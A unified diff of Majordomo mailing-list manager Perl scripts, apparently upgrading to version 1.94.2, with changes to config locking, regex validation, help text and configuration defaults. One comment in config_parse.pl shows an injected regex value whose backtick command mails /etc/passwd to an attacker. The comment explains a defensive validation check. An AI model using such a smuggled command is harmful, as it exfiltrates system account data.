Common subdirectories: ./Tools and ../majordomo-1.94.2/Tools
Common subdirectories: ./bin and ../majordomo-1.94.2/bin
diff -u ./config-test ../majordomo-1.94.2/config-test
--- ./config-test Sun Apr 27 17:36:38 1997
+++ ../majordomo-1.94.2/config-test Sun Apr 27 17:37:57 1997
@@ -1,5 +1,5 @@
#!/bin/perl
-# $Id: config-test,v 1.15 1996/12/23 15:03:08 cwilson Exp $
+# $Id: config-test,v 1.17 1997/03/10 17:22:05 cwilson Exp $
# configuration test for majordomo
# provided with majordomo, modifications by darren stalder <
[email protected]>
# more mods by Vince Skahan <
[email protected]>
@@ -27,7 +27,7 @@
;
sleep 2;
if (-x "./wrapper") {
- exec("./wrapper config-test");
+ exec("./wrapper config-test", @ARGV);
} else {
print <<"dummy"
Well, shoot, you forget to run
@@ -289,13 +289,14 @@
open(S, 'sample.cf') || &bad("Couldn't open sample.cf for reading, $!");
while (<S>) {
- next if !/^(\$\w+)/;
+ next unless /^\s*(\$\w+(('|::)\w+)*)/;
$config{$1} = 2;
}
while (<$cf>) {
- next if !/^(\$\w+)/;
- $config{$1}++;
+ next unless /^\s*(\$\w+(('|::)\w+)*)/;
+ $config{$1} = 1 unless defined $config{$1}; # Keeps -w happy
+ $config{$1} |= 1;
}
close (S);
@@ -369,10 +370,10 @@
#'
print "[yes] ";
if ( <> !~ /n/i) {
- open(f,">$registration_file")
+ open(RF,">$registration_file")
|| die "couldn't create $registration_file, $!";
- print f $majordomo_version;
- close f;
+ print RF $majordomo_version;
+ close RF;
$sendmail_command = "/usr/lib/sendmail"
unless defined $sendmail_command;
@@ -379,7 +380,7 @@
$bounce_mailer = "$sendmail_command -f\$sender -t"
unless defined $bounce_mailer;
&set_abort_addr($whoami_owner);
- &set_mail_from($whoami);
+ &set_mail_from($whoami); $x = $whoami; # Keeps -w happy
&set_mail_sender($whoami_owner);
&set_mailer($bounce_mailer);
diff -u ./config_parse.pl ../majordomo-1.94.2/config_parse.pl
--- ./config_parse.pl Sun Apr 27 17:36:35 1997
+++ ../majordomo-1.94.2/config_parse.pl Sun Apr 27 17:37:55 1997
@@ -5,7 +5,7 @@
# writes into the global variable %main'config_opts
#
-# $Header: /sources/cvsrepos/majordomo/config_parse.pl,v 1.60 1996/12/23 15:03:24 cwilson Exp $
+# $Header: /sources/cvsrepos/majordomo/config_parse.pl,v 1.63 1997/04/20 16:06:58 cwilson Exp $
# $Modified: Tue Dec 17 19:29:14 1996 by cwilson $
# this array holds the interesting info for use by all tools
@@ -146,34 +146,46 @@
# The text is wrapped and filled on output.
%comments = (
'get_access',
-"One of three values: open, list, closed. Open allows anyone
-access to this command. List allows only list members access,
-while closed completely disables the command for everyone.",
+"One of three values: open, list, closed. Open allows anyone
+access to this command and closed completely disables the
+command for everyone. List allows only list members access,
+or if restrict_post is defined, only the addresses in those
+files are allowed access.",
'index_access',
-"One of three values: open, list, closed. Open allows anyone
-access to this command. List allows only list members access,
-while closed completely disables the command for everyone.",
+"One of three values: open, list, closed. Open allows anyone
+access to this command and closed completely disables the
+command for everyone. List allows only list members access,
+or if restrict_post is defined, only the addresses in those
+files are allowed access.",
'who_access',
-"One of three values: open, list, closed. Open allows anyone
-access to this command. List allows only list members access,
-while closed completely disables the command for everyone.",
+"One of three values: open, list, closed. Open allows anyone
+access to this command and closed completely disables the
+command for everyone. List allows only list members access,
+or if restrict_post is defined, only the addresses in those
+files are allowed access.",
'which_access',
-"One of three values: open, list, closed. Open allows anyone
-access to this command. List allows only list members access,
-while closed completely disables the command for everyone.",
+"One of three values: open, list, closed. Open allows anyone
+access to this command and closed completely disables the
+command for everyone. List allows only list members access,
+or if restrict_post is defined, only the addresses in those
+files are allowed access.",
'info_access',
-"One of three values: open, list, closed. Open allows anyone
-access to this command. List allows only list members access,
-while closed completely disables the command for everyone.",
+"One of three values: open, list, closed. Open allows anyone
+access to this command and closed completely disables the
+command for everyone. List allows only list members access,
+or if restrict_post is defined, only the addresses in those
+files are allowed access.",
'intro_access',
-"One of three values: open, list, closed. Open allows anyone
-access to this command. List allows only list members access,
-while closed completely disables the command for everyone.",
+"One of three values: open, list, closed. Open allows anyone
+access to this command and closed completely disables the
+command for everyone. List allows only list members access,
+or if restrict_post is defined, only the addresses in those
+files are allowed access.",
'advertise',
"If the requestor email address matches one of these
@@ -180,7 +192,7 @@
regexps, then the list will be listed
in the output of a lists command.
Failure to match any regexp excludes the list from
-the output. The regexps under noadvertise overide these regexps.",
+the output. The regexps under noadvertise override these regexps.",
'comments',
"Comment string that will be retained across config file rewrites.",
@@ -207,7 +219,7 @@
subscribe requests to the list. Adding '+confirm', ie,
'open+confirm', will cause majordomo to send a reply back to the
subscriber which includes a authentication number which must be sent
-back in with another subscribe commad.",
+back in with another subscribe command.",
'unsubscribe_policy',
"One of three values: open, closed, auto. Open allows people to
@@ -287,11 +299,15 @@
This is the value of the reply-to header for digest lists.",
'restrict_post',
-"If defined only address listed in one of the files (colon or
-space separated) can post to the mailing list. This is less useful than
-it seems it should be since there is no way to create these files if you
-do not have access to the machine running resend. This mechanism will
-be replaced in a future version of majordomo/resend.",
+"If defined, only addresses listed in these files (colon or
+space separated) can post to the mailing list. By default,
+these files are relative to the lists directory. These files
+are also checked when get_access, index_access, info_access,
+intro_access, which_access, or who_access is set to 'list'.
+This is less useful than it seems it should be since there
+is no way to create these files if you do not have access to
+the machine running resend. This mechanism will be replaced
+in a future version of majordomo/resend.",
'resend_host',
"The host name that is appended to all address
@@ -718,10 +734,17 @@
########
#
# The function that does all of the real work.
-# Called with a list directory and a list name.
+# Called with a list directory, a list name, and optionally a flag
+# that indicates the config file is already locked if true (and
+# should be left locked on return).
+#
+# List config file locking is different than other files in that a
+# distinct lock file is used instead of just lopen() locking because
+# it's easier to manage a persistent lock than to try to keep the file
+# open (and thus locked) and pass the filehandle around.
#
sub main'get_config {
- local($listdir, $list) = @_;
+ local($listdir, $list, $locked) = @_;
local($parse, $here_doc, $stop, $end) = ();
$end = 0;
@@ -758,8 +781,10 @@
&handle_flag_files($listdir, $list); # this looks for files of
# the form listname.function
- &main'set_lock("$listdir/$list.config.LOCK") ||
- &main'abort( "Can't get lock for $listdir/$list.config");
+ unless ($locked) {
+ &main'set_lock("$listdir/$list.config.LOCK") ||
+ &main'abort( "Can't get lock for $listdir/$list.config");
+ }
print("making default\n")
if ($debug > 1) && (! -e "$listdir/$list.config");
@@ -768,7 +793,7 @@
unless -e "$listdir/$list.config" ;
print STDERR "parsing config get_config($listdir, $list)\n" if $debug > 1;
- &main'lopen(CONFIG, "", "$listdir/$list.config")
+ open(CONFIG, "$listdir/$list.config")
|| &main'abort( "Can't open $listdir/$list.config");
while ($_ = <CONFIG>) {
@@ -852,9 +877,9 @@
}
}
-&main'lclose(CONFIG);
+close(CONFIG);
-&main'free_lock("$listdir/$list.config.LOCK");
+&main'free_lock("$listdir/$list.config.LOCK") unless $locked;
print STDERR @errors if $debug > 1;
@@ -1063,16 +1088,22 @@
# m:yyy: ; `/bin/mail evil_hacker < /etc/passwd` ; "bar" =~ m:yyy:
# END
#
- elsif (($re =~ m:^((/)|m([^\w\s])): , $dlm=($2||$3)) &&
- $re !~ m:^m?$dlm[^\\$dlm]*(\\.[^\\$dlm]*)*$dlm[gimosx]*$: ){
+ elsif ($re !~ m:^((/)|m([^\w\s])):) {
push(@re_errors,
"|$re| not a valid pattern match expression at line $.\n");
- }
- elsif (eval "'' =~ $re", $@) {
- push(@re_errors, $@);
- }
- else {
- push(@return_re, $re);
+ }
+ else {
+ $dlm=($2||$3);
+ if ($re !~ m:^m?$dlm[^\\$dlm]*(\\.[^\\$dlm]*)*$dlm[gimosx]*$:) {
+ push(@re_errors,
+ "|$re| not a valid pattern match expression at line $.\n");
+ }
+ elsif (eval "'' =~ $re", $@) {
+ push(@re_errors, $@);
+ }
+ else {
+ push(@return_re, $re);
+ }
}
}
@@ -1087,7 +1118,7 @@
local($list) = @_;
local(@files) = ();
- @files = split (/[:\t\n]+/, $list);
+ @files = split (/[:\s]+/, $list);
foreach (@files) {
# add listdir if no leading /
#
diff -u ./digest ../majordomo-1.94.2/digest
--- ./digest Sun Apr 27 17:36:38 1997
+++ ../majordomo-1.94.2/digest Sun Apr 27 17:37:58 1997
@@ -5,12 +5,12 @@
# Heavily modified by Brent Chapman <
[email protected]>
# $Source: /sources/cvsrepos/majordomo/digest,v $
-# $Revision: 1.20 $
-# $Date: 1996/12/23 15:41:51 $
+# $Revision: 1.22 $
+# $Date: 1997/03/10 17:11:25 $
# $Author: cwilson $
# $State: Exp $
#
-# $Header: /sources/cvsrepos/majordomo/digest,v 1.20 1996/12/23 15:41:51 cwilson Exp $
+# $Header: /sources/cvsrepos/majordomo/digest,v 1.22 1997/03/10 17:11:25 cwilson Exp $
#
#
@@ -24,10 +24,6 @@
$TEMP = "$TMPDIR/digest.$$" || "/usr/tmp/digest.$$";
$sendmail_command = "/usr/lib/sendmail" if ! defined $sendmail_command ;
-
-$lockfile = "$V{'INCOMING'}/.LOCK";
-exit($EX_TEMPFAIL) unless &set_lock($lockfile);
-$lock_set = 1;
if (defined($opt_r)) {
&receive_message;
@@ -316,8 +312,8 @@
&abort("-C used without -l");
} else {
# Read and execute the .cf file
- $cf = $ENV{"MAJORDOMO_CF"} ||
- "/etc/majordomo.cf";
+ $cf = $opt_c || $ENV{"MAJORDOMO_CF"} ||
+ "/etc/majordomo.cf";
require "$cf";
chdir($homedir);
@@ -339,7 +335,13 @@
&set_mailer($bounce_mailer);
# get the digest config file
- &get_config($listdir, $opt_l);
+ # Let's hope that nobody ever invokes us both with and
+ # without -C, since these locks don't interact
+ $lockfile = "$listdir/$opt_l.config.LOCK";
+ &set_lock($lockfile) ||
+ &abort("$program_name: can't get lock '$lockfile'\n");
+ $lock_set = 1;
+ &get_config($listdir, $opt_l, "locked");
# map config opts to internal variables and $V array
$HEADER = $config_opts{$opt_l,"message_fronter"};
@@ -355,9 +357,11 @@
$V{'DIGEST_LINES'} = $config_opts{$opt_l, "digest_maxlines"};
$V{'MAX_AGE'} = $config_opts{$opt_l, "digest_maxdays"};
$V{'ERRORS-TO'} = $config_opts{$opt_l,"sender"} . "@" .
- $config_opts{$opt_l,"resend_host"};
+ ($config_opts{$opt_l,"resend_host"}
+ ||$whereami);
$V{'FROM'} = $config_opts{$opt_l, "sender"}. "@" .
- $config_opts{$opt_l,"resend_host"};
+ ($config_opts{$opt_l,"resend_host"}
+ ||$whereami);
$V{'INCOMING'} = "$digest_work_dir/$opt_l";
$V{'NAME'} = $config_opts{$opt_l,"digest_name"};
$V{'REALLY-TO'} = $ARGV[0];
@@ -383,6 +387,13 @@
}
close(config);
+ # Let's hope that nobody ever invokes us both with and
+ # without -C, since these locks don't interact
+ $lockfile = "$V{'INCOMING'}/.LOCK";
+ &set_lock($lockfile) ||
+ &abort("$program_name: can't get lock '$lockfile'\n");
+ $lock_set = 1;
+
open(header,$V{'HEADER'}) || &abort("$V{'HEADER'}: $!\n");
$HEADER = join("",<header>);
close(header);
@@ -400,10 +411,6 @@
$NUMBER = join("",<NUM_FILE>);
chop($NUMBER);
close(NUM_FILE);
-
- if (defined($V{'HOME'})) {
- unshift(@INC, $V{'HOME'});
- }
} # end not using -C
}
diff -u ./majordomo ../majordomo-1.94.2/majordomo
--- ./majordomo Sun Apr 27 17:36:35 1997
+++ ../majordomo-1.94.2/majordomo Sun Apr 27 17:37:55 1997
@@ -1,5 +1,5 @@
#!/bin/perl
-# $Modified: Tue Dec 10 19:32:17 1996 by cwilson $
+# $Modified: Sun Apr 20 18:10:00 1997 by cwilson $
# majordomo: a person who speaks, makes arrangements, or takes charge
# for another.
@@ -8,8 +8,8 @@
# usage rights.
#
# $Source: /sources/cvsrepos/majordomo/majordomo,v $
-# $Revision: 1.76 $
-# $Date: 1996/12/10 18:39:47 $
+# $Revision: 1.87 $
+# $Date: 1997/04/20 16:11:49 $
# $Author: cwilson $
# $State: Exp $
#
@@ -165,6 +165,7 @@
# Process the rest of the message as commands
while (<>) {
$approved = 0; # all requests start as un-approved
+ $quietnonmember = 0; # show non-member on unsubscribe
while ( /\\\s*$/ ) { # if the last non-whitespace
&chop_nl($_); # character is '\', chop the nl
s/\\\s*$/ /; # replace \ with space char
@@ -343,12 +344,14 @@
@lists = readdir(RD_DIR);
closedir(RD_DIR);
+ $quietnonmember=1;
+
foreach (sort @lists) {
$list = $_;
- $list =~ s,^.*/,,; # strip off leading path
$list =~ /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.)
- print REPLY "Doing 'unsubscribe $list ", join(' ', @parts), "'.\n";
+ print REPLY "Doing 'unsubscribe $list ", join(' ', @parts), "'.\n"
+ if $DEBUG;
unshift(@parts, $list);
&do_unsubscribe(@parts);
shift(@parts);
@@ -363,12 +366,12 @@
local($sm) = "unsubscribe";
local($list) = shift;
local($clean_list);
+
if ($list =~ /^\*$/) {
&do_unsubscribe_all(@_);
return 0;
}
-
if ( ((!$list) || ! ($clean_list = &valid_list($listdir, $list)))
&& defined($deflist)) {
unshift(@_,$list) ; # Not a list name, put it back.
@@ -397,10 +400,12 @@
# Check to see if the subscriber really is subscribed to the list.
if (! &is_list_member($subscriber, $listdir, $clean_list)) {
- print REPLY <<"EOM";
+ unless ($quietnonmember) {
+ print REPLY <<"EOM";
**** unsubscribe: '$subscriber' is not a member of list '$list'.
**** contact "$list-approval\@$whereami" if you need help.
EOM
+ }
return 0;
}
@@ -459,12 +464,15 @@
if (defined $deflist) {
print REPLY "Succeeded (from list $deflist).\n";
}
+ elsif ($quietnonmember) {
+ print REPLY "Succeeded (from list $clean_list).\n";
+ }
else {
print REPLY "Succeeded.\n";
}
&log("unsubscribe $clean_list $subscriber");
&sendmail(BYE, "$clean_list-approval\@$whereami",
- "UNSUBSCRIBE $clean_list");
+ "UNSUBSCRIBE $clean_list $subscriber");
print BYE "$subscriber has unsubscribed from $clean_list.\n";
print BYE "No action is required on your part.\n";
close(BYE);
@@ -542,9 +550,9 @@
|| $cmd eq "intro"
|| $cmd eq "who"
|| $cmd eq "which") {
- &log("approve PASSWORD $cmd $clean_list");
+ &log("approve PASSWORD $cmd $clean_list " . join(" ", @_));
$sub = "do_$cmd";
- &$sub($clean_list, $subscriber);
+ &$sub($clean_list, @_);
} else {
# you can only approve the above
&squawk("approve: invalid command '$cmd'");
@@ -622,7 +630,6 @@
closedir(RD_DIR);
foreach (sort @lists) {
- s,^.*/,,; # strip off the leading path
/[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.)
$list = $_;
@@ -968,19 +975,23 @@
(local($passwd) = shift) || &squawk("config: needs password");
if ($clean_list ne "") {
# The list is valid, parse the config file
- &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1);
+ &set_lock("$listdir/$clean_list.config.LOCK") ||
+ &abort( "Can't get lock for $listdir/$clean_list.config");
+ &get_config($listdir, $clean_list, "locked")
+ if !&cf_ck_bool($clean_list, '', 1);
#so check the password
if (&valid_passwd($listdir, $clean_list, $passwd)) {
# The password is valid, so send the new config if it exists
- if (&lopen(LCONFIG, "", "$listdir/$clean_list.config")) {
+ if (open(LCONFIG, "$listdir/$clean_list.config")) {
while (<LCONFIG>) {
print REPLY $_;
}
print REPLY "\n#[Last updated ",
&chop_nl(&ctime((stat(LCONFIG))[9])), "]\n";
- &lclose(LCONFIG);
+ close(LCONFIG) ||
+ print REPLY "Error writing config for $clean_list: $!";
} else {
print REPLY "#### No config available for $clean_list.\n";
@@ -989,6 +1000,7 @@
&squawk("config: invalid password.");
&log("FAILED config $clean_list PASSWORD");
}
+ &free_lock("$listdir/$clean_list.config.LOCK");
} else {
&squawk("config: unknown list '$list'.");
}
@@ -1011,7 +1023,10 @@
(local($passwd) = shift) || &squawk("newconfig: needs password");
if ($clean_list ne "") {
# The list is valid, parse the config file
- &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1);
+ &set_lock("$listdir/$clean_list.config.LOCK") ||
+ &abort( "Can't get lock for $listdir/$clean_list.config");
+ &get_config($listdir, $clean_list, "locked")
+ if !&cf_ck_bool($clean_list, '', 1);
# so check the password
if (&valid_passwd($listdir, $clean_list, $passwd)) {
@@ -1018,7 +1033,7 @@
# The password is valid, so write the new config
# off to the side to validate it.
local($oldumask) = umask($config_umask);
- if (&lopen(NCONFIG, ">", "$listdir/$clean_list.new.config")) {
+ if (open(NCONFIG, ">$listdir/$clean_list.new.config")) {
while (<>) {
$_ = &chop_nl($_);
if ($_ eq "EOF") {
@@ -1026,10 +1041,11 @@
}
print NCONFIG $_, "\n";
}
- &lclose(NCONFIG);
+ close(NCONFIG) ||
+ &abort("Can't write $listdir/$clean_list.config: $!");
umask($oldumask);
- if ( &get_config($listdir, "$clean_list.new")) {
+ if ( &get_config($listdir, "$clean_list.new", "locked")) {
print REPLY "The new config file for $clean_list was NOT accepted because:\n";
print REPLY @config'errors;
&log("FAILED (syntax) newconfig $clean_list PASSWORD");
@@ -1037,26 +1053,23 @@
return (1);
}
- &set_lock( "$listdir/$clean_list.config.LOCK") ||
- &abort( "Can't get lock for $listdir/$clean_list.config");
$rename_fail = 0;
- do { print REPLY "rename current -> old failed $!";
- $rename_fail = 1; }
- if ( !rename("$listdir/$clean_list.config",
- "$listdir/$clean_list.old.config") );
- do { print REPLY "rename new -> current failed $!";
- $rename_fail = 1; }
- if ( !$rename_fail &&
- !rename("$listdir/$clean_list.new.config",
- "$listdir/$clean_list.config"));
-
- &free_lock( "$listdir/$clean_list.config.LOCK");
+ if ( !rename("$listdir/$clean_list.config",
+ "$listdir/$clean_list.old.config") ) {
+ print REPLY "rename current -> old failed $!";
+ $rename_fail = 1;
+ }
+ elsif ( !rename("$listdir/$clean_list.new.config",
+ "$listdir/$clean_list.config")) {
+ print REPLY "rename new -> current failed $!";
+ $rename_fail = 1;
+ }
print REPLY "New config for list $clean_list accepted.\n"
if !$rename_fail;
&log("newconfig $clean_list PASSWORD");
- &get_config($listdir, $clean_list);
+ &get_config($listdir, $clean_list, "locked");
} else {
&abort("Can't write $listdir/$clean_list.config: $!");
}
@@ -1069,11 +1082,9 @@
last;
}
}
- # if we read to actual end-of-file, we are done
- if (eof) {
- &done();
- }
}
+ &free_lock("$listdir/$clean_list.config.LOCK");
+
} else {
&squawk("newconfig: unknown list '$list'.");
while (<>) {
@@ -1082,10 +1093,6 @@
last;
}
}
- # if we read to actual end-of-file, we are done
- if (eof) {
- &done();
- }
}
}
@@ -1105,12 +1112,15 @@
(local($passwd) = shift) || &squawk("writeconfig: needs password");
if ($clean_list ne "") {
# The list is valid, parse the config file
- &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1);
+ &set_lock("$listdir/$clean_list.config.LOCK") ||
+ &abort( "Can't get lock for $listdir/$clean_list.config");
+ &get_config($listdir, $clean_list, "locked")
+ if !&cf_ck_bool($clean_list, '', 1);
# so check the password
if (&valid_passwd($listdir, $clean_list, $passwd)) {
# The password is valid, so write current config
- &config'writeconfig($listdir, $list);
+ &config'writeconfig($listdir, $clean_list);
print REPLY "wrote new config for list $clean_list.\n";
&log("writeconfig $clean_list PASSWORD");
} else {
@@ -1117,6 +1127,7 @@
&squawk("writeconfig: invalid password.");
&log("FAILED writeconfig $clean_list PASSWORD");
}
+ &free_lock("$listdir/$clean_list.config.LOCK");
} else {
&squawk("writeconfig: unknown list '$list'.");
}
@@ -1192,9 +1203,9 @@
foreach (sort @lists) {
$list = $_;
- $list =~ s,^.*/,,; # strip off leading path
$list =~ /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.)
- next if /^(RCS|core)/; # my favorite two.
+ next if /^(RCS|CVS|core)$/; # files and directories to ignore
+ next if (-d "$listdir/$list"); # skip directories
&get_config($listdir, $list) if !&cf_ck_bool($list, '', 1);
@@ -1226,6 +1237,9 @@
}
+ $result = &is_list_member($reply_to, $listdir, $list)
+ if ! $result;
+
printf REPLY " %-23s %-.56s\n", $list,
$config_opts{$list, 'description'} if $result;
} else {
@@ -1428,8 +1442,197 @@
$listrequest = "." unless $majordomo_request;
print REPLY <<"EOM";
-This is the "Majordomo" mailing list manager, version $majordomo_version.
+
+This help message is being sent to you from the Majordomo mailing list
+management system at $whoami.
+
+This is version $majordomo_version of Majordomo.
+
+If you're familiar with mail servers, an advanced user's summary of
+Majordomo's commands appears at the end of this message.
+
+Majordomo is an automated system which allows users to subscribe
+and unsubscribe to mailing lists, and to retrieve files from list
+archives.
+
+You can interact with the Majordomo software by sending it commands
+in the body of mail messages addressed to "$whoami".
+Please do not put your commands on the subject line; Majordomo does
+not process commands in the subject line.
+
+You may put multiple Majordomo commands in the same mail message.
+Put each command on a line by itself.
+
+If you use a "signature block" at the end of your mail, Majordomo may
+mistakenly believe each line of your message is a command; you will
+then receive spurious error messages. To keep this from happening,
+either put a line starting with a hyphen ("-") before your signature,
+or put a line with just the word
+
+ end
+
+on it in the same place. This will stop the Majordomo software from
+processing your signature as bad commands.
+
+Here are some of the things you can do using Majordomo:
+
+I. FINDING OUT WHICH LISTS ARE ON THIS SYSTEM
+
+To get a list of publicly-available mailing lists on this system, put the
+following line in the body of your mail message to $whoami:
+
+ lists
+
+Each line will contain the name of a mailing list and a brief description
+of the list.
+
+To get more information about a particular list, use the "info" command,
+supplying the name of the list. For example, if the name of the list
+about which you wish information is "demo-list", you would put the line
+
+ info demo-list
+
+in the body of the mail message.
+
+II. SUBSCRIBING TO A LIST
+
+Once you've determined that you wish to subscribe to one or more lists on
+this system, you can send commands to Majordomo to have it add you to the
+list, so you can begin receiving mailings.
+
+To receive list mail at the address from which you're sending your mail,
+simply say "subscribe" followed by the list's name:
+
+ subscribe demo-list
+If for some reason you wish to have the mailings go to a different address
+(a friend's address, a specific other system on which you have an account,
+or an address which is more correct than the one that automatically appears
+in the "From:" header on the mail you send), you would add that address to
+the command. For instance, if you're sending a request from your work
+account, but wish to receive "demo-list" mail at your personal account
+(for which we will use "jqpublic\@my-isp.com" as an example), you'd put
+the line
+
+ subscribe demo-list jqpublic\@my-isp.com
+
+in the mail message body.
+
+Based on configuration decisions made by the list owners, you may be added
+to the mailing list automatically. You may also receive notification
+that an authorization key is required for subscription. Another message
+will be sent to the address to be subscribed (which may or may not be the
+same as yours) containing the key, and directing the user to send a
+command found in that message back to $whoami. (This can be
+a bit of extra hassle, but it helps keep you from being swamped in extra
+email by someone who forged requests from your address.) You may also
+get a message that your subscription is being forwarded to the list owner
+for approval; some lists have waiting lists, or policies about who may
+subscribe. If your request is forwarded for approval, the list owner
+should contact you soon after your request.
+
+Upon subscribing, you should receive an introductory message, containing
+list policies and features. Save this message for future reference; it
+will also contain exact directions for unsubscribing. If you lose the
+intro mail and would like another copy of the policies, send this message
+to $whoami:
+
+ intro demo-list
+
+(substituting, of course, the real name of your list for "demo-list").
+
+III. UNSUBSCRIBING FROM MAILING LISTS
+
+Your original intro message contains the exact command which should be
+used to remove your address from the list. However, in most cases, you
+may simply send the command "unsubscribe" followed by the list name:
+
+ unsubscribe demo-list
+
+(This command may fail if your provider has changed the way your
+address is shown in your mail.)
+
+To remove an address other than the one from which you're sending
+the request, give that address in the command:
+
+ unsubscribe demo-list jqpublic\@my-isp.com
+
+In either of these cases, you can tell $whoami to remove
+the address in question from all lists on this server by using "*"
+in place of the list name:
+
+ unsubscribe *
+ unsubscribe * jqpublic\@my-isp.com
+
+IV. FINDING THE LISTS TO WHICH AN ADDRESS IS SUBSCRIBED
+
+To find the lists to which your address is subscribed, send this command
+in the body of a mail message to $whoami:
+
+ which
+
+You can look for other addresses, or parts of an address, by specifying
+the text for which Majordomo should search. For instance, to find which
+users at my-isp.com are subscribed to which lists, you might send the
+command
+
+ which my-isp.com
+
+Note that many list owners completely or fully disable the "which"
+command, considering it a privacy violation.
+
+V. FINDING OUT WHO'S SUBSCRIBED TO A LIST
+
+To get a list of the addresses on a particular list, you may use the
+"who" command, followed by the name of the list:
+
+ who demo-list
+
+Note that many list owners allow only a list's subscribers to use the
+"who" command, or disable it completely, believing it to be a privacy
+violation.
+
+VI. RETRIEVING FILES FROM A LIST'S ARCHIVES
+
+Many list owners keep archives of files associated with a list. These
+may include:
+- back issues of the list
+- help files, user profiles, and other documents associated with the list
+- daily, monthly, or yearly archives for the list
+
+To find out if a list has any files associated with it, use the "index"
+command:
+
+ index demo-list
+
+If you see files in which you're interested, you may retrieve them by
+using the "get" command and specifying the list name and archive filename.
+For instance, to retrieve the files called "profile.form" (presumably a
+form to fill out with your profile) and "demo-list.9611" (presumably the
+messages posted to the list in November 1996), you would put the lines
+
+ get demo-list profile.form
+ get demo-list demo-list.9611
+
+in your mail to $whoami.
+
+VII. GETTING MORE HELP
+
+To contact a human site manager, send mail to $whoami_owner.
+To contact the owner of a specific list, send mail to that list's
+approval address, which is formed by adding "-approval" to the user-name
+portion of the list's address. For instance, to contact the list owner
+for demo-list\@$whereami, you would send mail to demo-list-approval\@$whereami.
+
+To get another copy of this help message, send mail to $whoami
+with a line saying
+
+ help
+
+in the message body.
+
+VIII. COMMAND SUMMARY FOR ADVANCED USERS
+
In the description below items contained in []'s are optional. When
providing the item, do not include the []'s around it. Items in angle
brackets, such as <address>, are meta-symbols that should be replaced
@@ -1681,6 +1884,10 @@
print MSG <<"EOM";
command in the body of your email message:
+ unsubscribe $list
+
+or from another account, besides $subscriber:
+
unsubscribe $list $subscriber
EOM
@@ -1719,7 +1926,7 @@
close(MSG);
# tell the list owner of the new subscriber
- &sendmail(NOTICE, "$list-approval\@$whereami", "SUBSCRIBE $list");
+ &sendmail(NOTICE, "$list-approval\@$whereami", "SUBSCRIBE $list $subscriber");
print NOTICE "$subscriber has been added to $list.\n";
print NOTICE "No action is required on your part.\n";
close(NOTICE);
diff -u ./majordomo.cf ../majordomo-1.94.2/majordomo.cf
--- ./majordomo.cf Sun Apr 27 17:36:41 1997
+++ ../majordomo-1.94.2/majordomo.cf Sun Apr 27 17:38:02 1997
@@ -84,13 +84,13 @@
#
#$max_loadavg = 10; # Choose the maximum allowed load
#
-#$uptime = `/usr/bin/uptime` if -x </usr/bin/uptime>; # Get system uptime
-#$uptime = `/usr/bsd/uptime` if -x </usr/bsd/uptime>; # or uptime is over here.
+#$uptime = `/usr/bin/uptime` if -x '/usr/bin/uptime'; # Get system uptime
+#$uptime = `/usr/bsd/uptime` if -x '/usr/bsd/uptime'; # or uptime is over here.
#
#($avg_1_minute, $avg_5_minutes, $avg_15_minutes) =
# $uptime =~ /average:\s+(\S+),\s+(\S+),\s+(\S+)/;
#
-#exit 75 if ($avg_15_minute >= $max_loadavg); # E_TEMPFAIL
+#exit 75 if ($avg_15_minutes >= $max_loadavg); # E_TEMPFAIL
#
# Set the default subscribe policy for new lists here.
@@ -107,7 +107,16 @@
# @ sign (meaning that it's headed to an smtp->x400 gateway, as well
# as the 'c=' and 'a[dm]=' parts, which mean something as well.
#
+# If you will be receiving x400 style return addresses that do not have
+# an @ sign in them indicating an smtp->x400 gateway, set $no_x400at to 1.
+# Otherwise, leave $no_x400 at 0.
+#
$no_x400at = 0;
+#
+# If you will be receiving x400 addresses without the c= or a[dm]= parts
+# set the $no_true_x400 variable to 1. This will disable checking for
+# "c=" and "a[dm]=" pieces.
+#
$no_true_x400 = 0;
@@ -227,6 +236,7 @@
/^subject:\s*help\b/i
/^subject:\s.*\bchange\b.*\baddress\b/i
/^subject:\s*request\b(.*\b)?addition\b/i
+/^subject:\s*cancel\b/i
END
# Common things that people send to the wrong address.
@@ -239,6 +249,7 @@
# each new majordomo command.
#
$admin_body = <<'END';
+/\bcancel\b/i
/\badd me\b/i
/\bdelete me\b/i
/\bremove\s+me\b/i
@@ -282,6 +293,7 @@
/^subject:\s*Returned mail\b/i
/^subject:\s*unable to deliver mail\b/i
/^subject:\s.*\baway from my mail\b/i
+/^subject:\s*Autoreply/i
END
# Taboo body contents to catch and forward to the approval address
@@ -298,7 +310,7 @@
# Majordomo will not send replies to addresses which match this.
# The match is done case-insensitively.
-$majordomo_dont_reply = '(mailer-daemon|uucp|listserv|majordomo)\@';
+$majordomo_dont_reply = '(mailer-daemon|uucp|listserv|majordomo|listproc)\@';
1;
-# $Header: /sources/cvsrepos/majordomo/sample.cf,v 1.28 1996/12/23 15:05:15 cwilson Exp $
+# $Header: /sources/cvsrepos/majordomo/sample.cf,v 1.33 1997/04/27 14:56:45 cwilson Exp $
diff -u ./majordomo.pl ../majordomo-1.94.2/majordomo.pl
--- ./majordomo.pl Sun Apr 27 17:36:36 1997
+++ ../majordomo-1.94.2/majordomo.pl Sun Apr 27 17:37:56 1997
@@ -1,12 +1,12 @@
# General subroutines for Majordomo
# $Source: /sources/cvsrepos/majordomo/majordomo.pl,v $
-# $Revision: 1.52 $
-# $Date: 1996/12/23 15:03:52 $
+# $Revision: 1.55 $
+# $Date: 1997/04/02 14:04:14 $
# $Author: cwilson $
# $State: Exp $
#
-# $Header: /sources/cvsrepos/majordomo/majordomo.pl,v 1.52 1996/12/23 15:03:52 cwilson Exp $
+# $Header: /sources/cvsrepos/majordomo/majordomo.pl,v 1.55 1997/04/02 14:04:14 cwilson Exp $
#
# The exit codes for abort. Look in /usr/include/sysexits.h.
@@ -13,8 +13,8 @@
#
$EX_DATAERR = 65;
$EX_TEMPFAIL = 75;
+$EX_NOUSER = 67;
-
package Majordomo;
$DEBUG = $main'DEBUG;
@@ -94,7 +94,7 @@
sub main'ParseAddrs {
local($_) = shift;
1 while s/\([^\(\)]*\)//g; # strip comments
- 1 while s/"[^"]*"//g; # strip comments"
+ 1 while s/"[^"]*"\s//g; # strip comments"
split(/,/); # split into parts
foreach (@_) {
1 while s/.*<(.*)>.*/$1/;
@@ -301,7 +301,8 @@
local($err);
if ( ! -w $log_file ) {
